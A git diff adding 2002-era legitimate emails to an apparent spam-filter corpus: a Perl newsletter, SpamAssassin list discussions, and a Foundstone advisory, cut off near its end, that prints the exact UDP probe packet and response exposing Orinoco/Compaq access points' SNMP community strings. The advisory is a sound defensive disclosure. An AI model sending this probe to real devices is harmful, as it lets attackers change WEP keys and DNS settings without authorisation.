2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 39F08440E0 + for ; Fri, 9 Aug 2002 10:33:42 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 09 Aug 2002 15:33:42 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g79EPxb06947 for + ; Fri, 9 Aug 2002 15:25:59 +0100 +Received: from cpu59.osdn.com (slashdot.org [64.28.67.73] (may be forged)) + by webnote.net (8.9.3/8.9.3) with ESMTP id DAA02784 for + ; Fri, 9 Aug 2002 03:01:25 +0100 +From: pudge@perl.org +Received: from [10.2.181.14] (helo=perl.org) by cpu59.osdn.com with smtp + (Exim 3.35 #1 (Debian)) id 17cz4L-0008EV-01 for ; + Thu, 08 Aug 2002 22:00:01 -0400 +Date: Fri, 09 Aug 2002 02:00:28 +0000 +Subject: [use Perl] Stories for 2002-08-09 +To: yyyy-use-perl@spamassassin.taint.org +Precedence: list +X-Bulkmail: 2.051 +Message-Id: + +use Perl Daily Newsletter + +In this issue: + * Damian Conway to speak in London + * Meeting in Budapest + ++--------------------------------------------------------------------+ +| Damian Conway to speak in London | +| posted by ziggy on Thursday August 08, @15:21 (damian) | +| http://use.perl.org/article.pl?sid=02/08/08/1923211 | ++--------------------------------------------------------------------+ + +[0]blech writes "Damian Conway will be coming to London in August, and +he'll be speaking at a couple of special [1]London.pm meetings, at the +approprately named [2]Conway Hall in [3]Central London. + +The first is [4]Life, the Universe and Everything on Tuesday 27th August, +and the second is [5]Perl 6 Prospective on Thursday 29th August. Both +start at 6.30 pm sharp, so we can fit in the maximum possible +Damian-ness. + +We hope to see you there!" + +Discuss this story at: + http://use.perl.org/comments.pl?sid=02/08/08/1923211 + +Links: + 0. http://london.pm.org/ + 1. http://london.pm.org/meetings/ + 2. http://www.conwayhall.org.uk/ + 3. http://www.streetmap.co.uk/streetmap.dll?G2M?X=530661&Y=181764&A=Y&Z=1 + 4. http://www.yetanother.org/damian/seminars/Life.html + 5. http://www.yetanother.org/damian/seminars/Perl6.html + + ++--------------------------------------------------------------------+ +| Meeting in Budapest | +| posted by ziggy on Thursday August 08, @17:24 (groups) | +| http://use.perl.org/article.pl?sid=02/08/08/1927253 | ++--------------------------------------------------------------------+ + +[0]Gabor Szabo writes "We are organizing a meeting for Perl users in +Budapest. We'll meet on 26th August at 17:00 at a location we'll announce +within a few days on [1]our mailing list. Planned agenda: How to raise +camels on the Hungarian Puszta. + +You can read more details (in Hungarian) [2]here. Non Hungarians who +happen to be in the area are also welcome, though the presentation(s) +will be given in Hungarian." + +Discuss this story at: + http://use.perl.org/comments.pl?sid=02/08/08/1927253 + +Links: + 0. mailto:gabor@tracert.com + 1. http://www.atom.hu/mailman/listinfo/perl + 2. http://www.atom.hu/pipermail/perl/2002-August/001150.html + + + +Copyright 1997-2002 pudge. All rights reserved. + + +====================================================================== + +You have received this message because you subscribed to it +on use Perl. To stop receiving this and other +messages from use Perl, or to add more messages +or change your preferences, please go to your user page. + + http://use.perl.org/my/messages/ + +You can log in and change your preferences from there. + + diff --git a/bayes/spamham/easy_ham_2/01363.a176d11ee1b8c36d18c14d7f48b89dbc b/bayes/spamham/easy_ham_2/01363.a176d11ee1b8c36d18c14d7f48b89dbc new file mode 100644 index 0000000..94a74cf --- /dev/null +++ b/bayes/spamham/easy_ham_2/01363.a176d11ee1b8c36d18c14d7f48b89dbc @@ -0,0 +1,83 @@ +From spamassassin-talk-admin@lists.sourceforge.net Fri Aug 9 15:23:23 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 304A6440E0 + for ; Fri, 9 Aug 2002 10:22:10 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 09 Aug 2002 15:22:10 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g79EG2b05696 for + ; Fri, 9 Aug 2002 15:16:02 +0100 +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by webnote.net (8.9.3/8.9.3) with ESMTP id KAA05011 for + ; Fri, 9 Aug 2002 10:43:33 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17d6FZ-0004I2-00; Fri, + 09 Aug 2002 02:40:05 -0700 +Received: from hippo.star.co.uk ([195.216.14.9]) by + usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id + 17d6FN-0003Vv-00 for ; + Fri, 09 Aug 2002 02:39:53 -0700 +Received: from MATT_LINUX by hippo.star.co.uk via smtpd (for + usw-sf-lists.sourceforge.net [216.136.171.198]) with SMTP; 9 Aug 2002 + 09:30:59 UT +Received: (qmail 2371 invoked from network); 7 Aug 2002 09:34:27 -0000 +Received: from unknown (HELO startechgroup.co.uk) (10.2.100.178) by + matt?dev.int.star.co.uk with SMTP; 7 Aug 2002 09:34:27 -0000 +Message-Id: <3D538D80.4000602@startechgroup.co.uk> +From: Matt Sergeant +User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0rc1) Gecko/20020426 +X-Accept-Language: en-us, en +MIME-Version: 1.0 +To: "Rose, Bobby" +Cc: Mike Kercher , + spamassassin-talk@lists.sourceforge.net +Subject: Re: [SAtalk] How'd this one slip through? +References: +Content-Type: text/plain; charset=us-ascii; format=flowed +Content-Transfer-Encoding: 7bit +Sender: spamassassin-talk-admin@example.sourceforge.net +Errors-To: spamassassin-talk-admin@example.sourceforge.net +X-Beenthere: spamassassin-talk@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Talk about SpamAssassin +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Fri, 09 Aug 2002 10:38:08 +0100 +Date: Fri, 09 Aug 2002 10:38:08 +0100 + +Rose, Bobby wrote: +> Ouch ;-) Although I'm not ready to give up razor just yet, I'd like to +> see a pyzor check in SA. I don't think it even needs to be written in +> perl. SA is actually calling razor-check and razor-report as well as +> dccproc for those checks so it should be nothing more than duplication +> of coding to add pyzor. + +The problem is that Python has a much longer startup time than Perl +(though this may have changed recently, I don't know). This is partly +why Python was never very popular for CGIs. + +Matt. + + + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Spamassassin-talk mailing list +Spamassassin-talk@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-talk + + diff --git a/bayes/spamham/easy_ham_2/01364.388f4e91846bf82b0ea60e9ca1244b43 b/bayes/spamham/easy_ham_2/01364.388f4e91846bf82b0ea60e9ca1244b43 new file mode 100644 index 0000000..fed072b --- /dev/null +++ b/bayes/spamham/easy_ham_2/01364.388f4e91846bf82b0ea60e9ca1244b43 @@ -0,0 +1,102 @@ +From spamassassin-talk-admin@lists.sourceforge.net Fri Aug 9 15:23:31 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id C1654440E1 + for ; Fri, 9 Aug 2002 10:22:11 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 09 Aug 2002 15:22:11 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g79EGPb05753 for + ; Fri, 9 Aug 2002 15:16:25 +0100 +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by webnote.net (8.9.3/8.9.3) with ESMTP id PAA07051 for + ; Fri, 9 Aug 2002 15:13:19 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17dAUl-0007kD-00; Fri, + 09 Aug 2002 07:12:03 -0700 +Received: from horus.webmotion.com ([209.87.243.246] + helo=horus.webmotion.ca) by usw-sf-list1.sourceforge.net with esmtp + (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id + 17dAUT-0004zZ-00 for ; + Fri, 09 Aug 2002 07:11:46 -0700 +Received: from localhost.localdomain (peck.sys.lan [10.0.2.139]) by + horus.webmotion.ca (8.12.3/8.12.3/Debian -4) with ESMTP id g79EBdrR007366 + for ; Fri, 9 Aug 2002 10:11:39 + -0400 +Subject: Re: [SAtalk] Multiple regular expression +From: Benoit Peccatte +To: spamassassin-talk@example.sourceforge.net +In-Reply-To: <20020806202250.GK1042@kluge.net> +References: <1028662171.635.76.camel@peck> <20020806202250.GK1042@kluge.net> +Content-Type: text/plain +Content-Transfer-Encoding: 7bit +X-Mailer: Ximian Evolution 1.0.5 +Message-Id: <1028902217.418.12.camel@peck> +MIME-Version: 1.0 +X-Virus-Scanned: by amavisd-milter (http://amavis.org/) +Sender: spamassassin-talk-admin@example.sourceforge.net +Errors-To: spamassassin-talk-admin@example.sourceforge.net +X-Beenthere: spamassassin-talk@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Talk about SpamAssassin +List-Unsubscribe: , + +List-Archive: +X-Original-Date: 09 Aug 2002 10:10:17 -0400 +Date: 09 Aug 2002 10:10:17 -0400 + +Thank you for this help. I will change the score of +FROM_AND_TO_SAME rule to be higher. + +Benoit Peccatte + +PS: I've noticed that the reply-to is not fixed to your mailing-list +is this normal ? + +On Tue, 2002-08-06 at 16:22, Theo Van Dinter wrote: +> On Tue, Aug 06, 2002 at 03:29:30PM -0400, Benoit Peccatte wrote: +> > I would like to add a rule to spamassassin to compare 2 header lines. +> > By example match mails in which To: equals From: +> > +> > I don't think it is possible with a single regular expression. +> > Can I use one after one other ? +> > Does anobody have an idea ? +> +> You would have to make an Eval test that retrieves both header and +> compares them. +> +> BTW: +> header FROM_AND_TO_SAME eval:check_for_from_to_equivalence() +> describe FROM_AND_TO_SAME From and To the same address +> +> :) +> +> -- +> Randomly Generated Tagline: +> It really doesn't bother me if people want to use grep or map in a void +> context. It didn't bother me before there was a for modifier, and +> now that there is one, it still doesn't bother me. I'm just not very +> easy to bother. +> -- Larry Wall in <199911012346.PAA25557@kiev.wall.org> + + + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Spamassassin-talk mailing list +Spamassassin-talk@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-talk + + diff --git a/bayes/spamham/easy_ham_2/01365.3550b6544685d5d0975194ef7932ae90 b/bayes/spamham/easy_ham_2/01365.3550b6544685d5d0975194ef7932ae90 new file mode 100644 index 0000000..114d877 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01365.3550b6544685d5d0975194ef7932ae90 @@ -0,0 +1,83 @@ +From spamassassin-talk-admin@lists.sourceforge.net Fri Aug 9 15:43:46 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id BC53844111 + for ; Fri, 9 Aug 2002 10:35:19 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 09 Aug 2002 15:35:19 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g79EMjb06586 for + ; Fri, 9 Aug 2002 15:22:45 +0100 +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by webnote.net (8.9.3/8.9.3) with ESMTP id GAA03578 for + ; Fri, 9 Aug 2002 06:00:05 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17d1pg-0002bz-00; Thu, + 08 Aug 2002 21:57:04 -0700 +Received: from [216.40.247.31] (helo=host.yrex.com) by + usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id + 17d1pP-0005rc-00 for ; + Thu, 08 Aug 2002 21:56:47 -0700 +Received: (qmail 17893 invoked from network); 9 Aug 2002 04:56:44 -0000 +Received: from mgm.dsl.xmission.com (HELO opus) (204.228.152.186) by + 216.40.247.31 with SMTP; 9 Aug 2002 04:56:44 -0000 +From: "Michael Moncur" +To: +Subject: RE: [SAtalk] How'd this one slip through? +Message-Id: +MIME-Version: 1.0 +Content-Type: text/plain; charset="US-ASCII" +Content-Transfer-Encoding: 7bit +X-Priority: 3 (Normal) +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) +In-Reply-To: +X-Mimeole: Produced By Microsoft MimeOLE V6.00.2600.0000 +Importance: Normal +Sender: spamassassin-talk-admin@example.sourceforge.net +Errors-To: spamassassin-talk-admin@example.sourceforge.net +X-Beenthere: spamassassin-talk@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Talk about SpamAssassin +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Thu, 8 Aug 2002 22:56:37 -0600 +Date: Thu, 8 Aug 2002 22:56:37 -0600 + +> Ouch ;-) Although I'm not ready to give up razor just yet, I'd like to +> see a pyzor check in SA. I don't think it even needs to be written in +> perl. SA is actually calling razor-check and razor-report as well as +> dccproc for those checks so it should be nothing more than duplication +> of coding to add pyzor. + +I don't know from Pyzor, but I've always thought that the way services like +Razor and DCC could be truly useful is if there were a bunch of different +ones. We can assign them scores based on how trustworthy each one is, and +when a message is listed in multiple services you can pretty much trust that +it's spam. + +-- +Michael Moncur mgm at starlingtech.com http://www.starlingtech.com/ +"Mustard's no good without roast beef." --Chico Marx + + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Spamassassin-talk mailing list +Spamassassin-talk@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-talk + + diff --git a/bayes/spamham/easy_ham_2/01366.d056f5bcd809ef8e1469af09f4050458 b/bayes/spamham/easy_ham_2/01366.d056f5bcd809ef8e1469af09f4050458 new file mode 100644 index 0000000..1732561 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01366.d056f5bcd809ef8e1469af09f4050458 @@ -0,0 +1,132 @@ +From spamassassin-talk-admin@lists.sourceforge.net Fri Aug 9 15:43:50 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 9FF59440E1 + for ; Fri, 9 Aug 2002 10:35:21 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 09 Aug 2002 15:35:21 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g79EOub06834 for + ; Fri, 9 Aug 2002 15:24:56 +0100 +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by webnote.net (8.9.3/8.9.3) with ESMTP id DAA03058 for + ; Fri, 9 Aug 2002 03:57:52 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17cztf-0001cy-00; Thu, + 08 Aug 2002 19:53:03 -0700 +Received: from moon.campus.luth.se ([130.240.202.158]) by + usw-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) + (Exim 3.31-VA-mm2 #1 (Debian)) id 17czsy-0000w8-00 for + ; Thu, 08 Aug 2002 19:52:21 -0700 +Received: from moon.campus.luth.se (tony@moon.campus.luth.se + [130.240.202.158]) by moon.campus.luth.se (8.12.3/8.12.3) with ESMTP id + g792q2xN076986; Fri, 9 Aug 2002 04:52:03 +0200 (CEST) (envelope-from + tony@svanstrom.com) +From: "Tony L. Svanstrom" +X-X-Sender: tony@moon.campus.luth.se +To: Scott A Crosby +Cc: Spamassassin-talk@example.sourceforge.net +In-Reply-To: +Message-Id: <20020805041438.J42527-100000@moon.campus.luth.se> +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Subject: [SAtalk] Re: HELP! Someone stole our address... +Sender: spamassassin-talk-admin@example.sourceforge.net +Errors-To: spamassassin-talk-admin@example.sourceforge.net +X-Beenthere: spamassassin-talk@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Talk about SpamAssassin +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Fri, 9 Aug 2002 04:52:02 +0200 (CEST) +Date: Fri, 9 Aug 2002 04:52:02 +0200 (CEST) + +On 4 Aug 2002 the voices made Scott A Crosby write: + +> On Sun, 4 Aug 2002 16:36:57 +0200 (CEST), "Tony L. Svanstrom" +> writes: +> +> > On Sun, 4 Aug 2002 the voices made Tony L. Svanstrom write: +> > +> > The solution is of course to have a public key of some sort associated with +> > the domainame itself, at the registrar-level, so that when an e-mail arrives +> > the server can check if the sending-server actually is responsible for the +> > domain/user the e-mail appears to have been sent from. +> > +> +> That can be problematic.. For example, if I'm at home and want to send +> email out from my work-address; I can't go through my ISP's +> mailserver.. I don't thikn we want to enforce a link linking an email +> address and the server sending it; there are many reasons to have the +> two things be different entities. + + True, but that's the thinking of today, that the company mailserver can be +closed to you from the outside; because as it is today you can use any mail- +server that you've got access to. If there's a good reason for setting it up +they won't be that lazy in the future. + +> However, requiring mailservers to sign the Received: header... That +> could be useful. (assuming the signature is of reasonable size). That +> could indicate at what server the email *did* enter the system. IT'd +> also be incontravertable proof that that mailserver did allow itself +> to be abused. Signatures could be checked by either MX or inaddr-arpa +> records indicating the host's public key. +> +> There's still some problems left though. You'd have to bind the +> headers to the message somehow, via signatures. (To avoid someone +> taking an email then twiddling the body and claiming that spam came +> from a particular host.) This would mean that you couldn't alter the +> body of a message. +> +> An unforgable Received chain would be very useful evidence. + + A simple RFC could fix that today, either using a new header or extending the +Received-header with a code/value that the server later on can verify; maybe +something like this: + +Received2: Date: [date]; + Local: sub.dom2.tld (IP#2); + Remote: sub.dom3.tld (IP#3); + Env-id: + Code: [cache#, salted hashvalue, rsa or other signature] + + And then you have the two optional From and To, only added by the sending +server that's identified the local sender or the server accepting mail for a +certain user (to verify that it did really come via that server, in case you +forward it using procmail or something like it). + You of course would need some standard for how to check these headers. + + Not perfect, but better than what we have today. + + + /Tony +-- +# Per scientiam ad libertatem! // Through knowledge towards freedom! # +# Genom kunskap mot frihet! =*= (c) 1999-2002 tony@svanstrom.com =*= # + + perl -e'print$_{$_} for sort%_=`lynx -source svanstrom.com/t`' + + + + + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Spamassassin-talk mailing list +Spamassassin-talk@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-talk + + diff --git a/bayes/spamham/easy_ham_2/01367.539241fdb8190ea84532d6916046a903 b/bayes/spamham/easy_ham_2/01367.539241fdb8190ea84532d6916046a903 new file mode 100644 index 0000000..87967f6 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01367.539241fdb8190ea84532d6916046a903 @@ -0,0 +1,81 @@ +From spamassassin-talk-admin@lists.sourceforge.net Fri Aug 9 15:44:04 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id DBDDB440E2 + for ; Fri, 9 Aug 2002 10:35:24 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 09 Aug 2002 15:35:24 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g79EPIb06880 for + ; Fri, 9 Aug 2002 15:25:18 +0100 +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by webnote.net (8.9.3/8.9.3) with ESMTP id DAA02980 for + ; Fri, 9 Aug 2002 03:28:53 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17czTX-0003bH-00; Thu, + 08 Aug 2002 19:26:03 -0700 +Received: from mail.cs.ait.ac.th ([192.41.170.16]) by + usw-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) + (Exim 3.31-VA-mm2 #1 (Debian)) id 17czSl-0002GF-00 for + ; Thu, 08 Aug 2002 19:25:16 -0700 +Received: from banyan.cs.ait.ac.th (on@banyan.cs.ait.ac.th [192.41.170.5]) + by mail.cs.ait.ac.th (8.12.3/8.9.3) with ESMTP id g7939XTB031771; + Fri, 9 Aug 2002 10:09:34 +0700 (ICT) +Received: (from on@localhost) by banyan.cs.ait.ac.th (8.8.5/8.8.5) id + JAA22438; Fri, 9 Aug 2002 09:25:25 +0700 (ICT) +Message-Id: <200208090225.JAA22438@banyan.cs.ait.ac.th> +X-Authentication-Warning: banyan.cs.ait.ac.th: on set sender to + on@banyan.cs.ait.ac.th using -f +From: Olivier Nicole +To: kelson@speed.net +Cc: spamassassin-talk@example.sourceforge.net, + spamassassin-talk@lists.sourceforge.net +In-Reply-To: <5.1.1.6.0.20020808084822.01d767d8@127.0.0.1> (message from + Kelson Vibber on Thu, 08 Aug 2002 09:25:41 -0700) +Subject: Re: [SAtalk] Re: SA SQL Prefs and MIMEDefang +References: <5.1.1.6.0.20020808084822.01d767d8@127.0.0.1> +X-Virus-Scanned: by amavisd-milter (http://amavis.org/) +Sender: spamassassin-talk-admin@example.sourceforge.net +Errors-To: spamassassin-talk-admin@example.sourceforge.net +X-Beenthere: spamassassin-talk@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Talk about SpamAssassin +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Fri, 9 Aug 2002 09:25:25 +0700 (ICT) +Date: Fri, 9 Aug 2002 09:25:25 +0700 (ICT) + +> The main reason I'd like to stick with a milter-based approach is the +> ability to reject messages at the SMTP stage. This way the recipient isn't +> bothered and the sender knows immediately that the message failed. My +> understanding is that once it gets to Procmail, as far as the sender is +> concerned, it got through. And since all our users connect via POP, moving +> things to another folder is not an option, so the only way to notify the +> recipient is to allow the message through or replace it with a summary. + +I think the summary thingy, with a mail based retreive facility, is a +good alternative. You avoid false positive, only one email to list all +the spam you received in one day, and you have full per user pref. + +Olivier + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Spamassassin-talk mailing list +Spamassassin-talk@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-talk + + diff --git a/bayes/spamham/easy_ham_2/01368.318bbc1f15c426911739e3386c17a229 b/bayes/spamham/easy_ham_2/01368.318bbc1f15c426911739e3386c17a229 new file mode 100644 index 0000000..ca11b6a --- /dev/null +++ b/bayes/spamham/easy_ham_2/01368.318bbc1f15c426911739e3386c17a229 @@ -0,0 +1,132 @@ +From vulnwatch-return-432-jm=jmason.org@vulnwatch.org Mon Aug 12 10:49:37 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 54D0B43FB1 + for ; Mon, 12 Aug 2002 05:49:36 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 12 Aug 2002 10:49:36 +0100 (IST) +Received: from vikki.vulnwatch.org ([199.233.98.101]) by + dogma.slashnull.org (8.11.6/8.11.6) with SMTP id g79Ietb20478 for + ; Fri, 9 Aug 2002 19:40:55 +0100 +Received: (qmail 32055 invoked by alias); 9 Aug 2002 18:58:56 -0000 +Mailing-List: contact vulnwatch-help@vulnwatch.org; run by ezmlm +Precedence: bulk +List-Post: +List-Help: +List-Unsubscribe: +List-Subscribe: +Delivered-To: mailing list vulnwatch@vulnwatch.org +Delivered-To: moderator for vulnwatch@vulnwatch.org +Received: (qmail 24318 invoked from network); 9 Aug 2002 18:57:50 -0000 +X-Mimeole: Produced By Microsoft Exchange V6.0.5762.3 +Content-Class: urn:content-classes:message +MIME-Version: 1.0 +Content-Type: text/plain; charset="US-ASCII" +Date: Fri, 9 Aug 2002 11:12:04 -0700 +Message-Id: <9DC8A3D37E31E043BD516142594BDDFAC476B0@MISSION.foundstone.com> +X-MS-Has-Attach: +X-MS-Tnef-Correlator: +Thread-Topic: Foundstone Labs Advisory - Information Leakage in Orinoco + and Compaq Access Points +Thread-Index: AcI/0CLtBmJ6suMUTl62TDkDlsvtzw== +From: "Foundstone Labs" +To: , +Subject: [VulnWatch] Foundstone Labs Advisory - Information Leakage in Orinoco and Compaq Access Points +Content-Transfer-Encoding: 8bit +X-MIME-Autoconverted: from quoted-printable to 8bit by dogma.slashnull.org + id g79Ietb20478 + +Foundstone Labs Advisory - 080902-APIL + +Advisory Name: Information Leakage in Orinoco and Compaq Access Points + Release Date: August 9th, 2002 + Application: Orinoco Residential Gateway and Compaq WL310 + Platforms: N/A + Severity: The ability to display/modify configuration information + Vendors: Orinoco (http://www.orinocowireless.com) and + Compaq (http://www.compaq.com) + Authors: Marshall Beddoe (marshall.beddoe@foundstone.com) + Tony Bettini (tony.bettini@foundstone.com) +CVE Candidate: CAN-2002-0812 + Reference: http://www.foundstone.com/advisories + +Overview: + +An information leakage vulnerability exists in Orinoco and Compaq OEM +access points, disclosing the unique SNMP community string. As a result, + +an attacker can query the community string and gain the ability to +change +system configuration including Wired Equivalent Privacy (WEP) keys and +Domain Name Service (DNS) information. + +Detailed Description: + +The Compaq WL310 is an OEM Orinoco Residential Gateway access point. +Both the Compaq and Orinoco access points use a unique identification +number +found on the bottom of the access point for configuration through +their management client. This identification string is used as the +default SNMP read/write community string. The community strings appears +to be unchangable, unique, and not easily guessable. By sending a +specific packet to UDP port 192, the access point will return +information including the firmware version and the unique identification +value. The packet returned includes the value of system.sysName.0, which +in the case of the Compaq WL310 and Orinoco Residential Gateway, +includes +the unique identification value. The identification value can then be +used as the SNMP community string to view and modify the configuration. + +The probe packet: +"\x01\x00\x00\x00\x70\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + +Example probe response: +01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ +00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ +00 00 00 00 00 60 1d 20 2e 38 00 00 18 19 10 f8 | .....`. .8...... +4f 52 69 4e 4f 43 4f 20 52 47 2d 31 31 30 30 20 | ORiNOCO RG-1100 +30 33 39 32 61 30 00 00 00 00 00 00 00 00 00 00 | 0392a0.......... +02 8f 24 02 52 47 2d 31 31 30 30 20 56 33 2e 38 | ..$.RG-1100 V3.8 +33 20 53 4e 2d 30 32 55 54 30 38 32 33 32 33 34 | 3 SN-02UT0823234 +32 20 56 00 | 2 V. + +system.sysName.0 = "ORiNOCO RG-1100 0392a0" +Community name: 0392a0 + +Vendor Response: + +Both vendors were notified of this issue on July 8th, 2002. According +to Orinoco, "The Residential Gateway line has been discontinued." + +Solution: + +Employ packet filtering on inbound requests to deny access to ports +192/udp and 161/udp on the access point. + +FoundScan has been updated to check for this vulnerability. For more +information on FoundScan, see the Foundstone website: +http://www.foundstone.com + +Disclaimer: + +The information contained in this advisory is copyright (c) 2002 +Foundstone, Inc. and is believed to be accurate at the time of +publishing, but no representation of any warranty is given, +express, or implied as to its accuracy or completeness. In no +event shall the author or Foundstone be liable for any direct, +indirect, incidental, special, exemplary or consequential +damages resulting from the use or 